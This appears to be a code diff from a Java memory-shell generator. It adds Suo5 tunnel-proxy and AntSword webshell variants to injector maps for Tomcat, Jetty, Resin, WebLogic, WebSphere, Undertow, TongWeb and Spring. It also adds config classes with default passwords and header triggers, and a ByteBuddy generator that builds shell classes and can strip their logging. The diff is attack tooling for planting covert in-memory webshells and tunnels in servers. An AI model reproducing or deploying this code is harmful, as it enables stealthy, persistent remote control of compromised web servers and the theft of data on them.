import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -68,4 +75,26 @@ public class JettyShell extends AbstractShell {
map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
@@ -7,6 +8,10 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjecto
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -16,6 +21,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +66,23 @@ public class ResinShell extends AbstractShell {
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
}
@@ -12,6 +12,7 @@ import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandler
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -46,4 +47,11 @@ public class SpringWebFluxShell extends AbstractShell {
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
return map;
}
}
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
@@ -12,6 +15,8 @@ import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdviso
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -60,4 +65,23 @@ public class SpringWebMvcShell extends AbstractShell {
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
}
@@ -1,5 +1,9 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -12,11 +16,16 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -81,4 +90,30 @@ public class TomcatShell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,18 +1,25 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -67,4 +74,27 @@ public class TongWeb6Shell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,18 +1,25 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
import com.reajason.javaweb.memshell.tongweb.injector.*;
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -67,4 +74,27 @@ public class TongWeb7Shell extends AbstractShell {
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,11 +1,17 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
@@ -16,6 +22,7 @@ import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -68,4 +75,26 @@ public class UndertowShell extends AbstractShell {
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -9,6 +12,9 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
@@ -16,6 +22,7 @@ import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +66,23 @@ public class WebLogicShell extends AbstractShell {
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -9,6 +12,9 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
@@ -16,6 +22,7 @@ import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgen
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
@@ -59,4 +66,23 @@ public class WebSphereShell extends AbstractShell {
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class AntSwordConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -18,5 +18,15 @@ public enum ShellTool {
/**
* 冰蝎
*/
Behinder
Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
/**
* 蚁剑
*/
AntSword,
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class Suo5Config extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordGenerator {
private final ShellConfig shellConfig;
private final AntSwordConfig antSwordConfig;
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
this.shellConfig = shellConfig;
this.antSwordConfig = antSwordConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (antSwordConfig.getShellClass() == null) {
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
}
if (StringUtils.isBlank(antSwordConfig.getPass())) {
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(antSwordConfig.getShellClass())
.name(antSwordConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", antSwordConfig.getPass(),
"headerName", antSwordConfig.getHeaderName(),
"headerValue", antSwordConfig.getHeaderValue()
))
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
.field(named("headerName")).value(antSwordConfig.getHeaderName())
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -0,0 +1,65 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
